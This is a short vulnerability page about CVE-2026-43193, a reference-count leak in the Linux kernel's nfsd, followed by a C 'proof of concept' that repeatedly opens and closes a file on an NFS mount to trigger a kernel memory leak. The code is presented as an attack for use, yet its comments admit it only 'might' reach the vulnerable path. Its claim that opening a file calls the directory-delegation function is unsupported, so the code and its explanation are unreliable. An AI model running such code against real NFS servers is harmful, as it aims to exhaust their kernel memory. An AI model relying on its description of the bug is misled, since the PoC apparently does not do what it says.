CVE-2026-43193: Linux内核nfsd引用计数泄漏漏洞

/* * PoC Concept for CVE-2026-43193 * This code demonstrates the logic to trigger the vulnerable path. * It requires a mounted NFS share supporting delegations. */ #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> int main() { // Step 1: Open a file on the mounted NFS share // This interaction would internally trigger nfsd_get_dir_deleg() // under specific delegation configurations. const char* nfs_file = "/mnt/nfs_share/test_file"; printf("[+] Starting PoC for CVE-2026-43193\n"); for(int i = 0; i < 10000; i++) { int fd = open(nfs_file, O_RDONLY); if (fd < 0) { perror("open failed"); continue; } // Performing operations that might trigger delegation logic // In a real scenario, specific NFSv4 delegations setup is needed. close(fd); if(i % 1000 == 0) { printf("[+] Iteration %d completed. Memory leak potentially triggered.\n", i); } } printf("[+] PoC execution finished. Check kernel memory usage.\n"); return 0; }